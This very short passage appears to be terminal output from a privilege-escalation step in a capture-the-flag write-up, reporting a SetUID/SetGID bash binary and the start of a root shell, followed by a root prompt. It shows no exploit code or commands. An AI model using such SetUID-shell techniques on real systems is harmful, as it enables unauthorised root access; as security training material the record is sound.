[+] SetUID / SetGID bash exists. Starting root shell.
0xdf-5.2#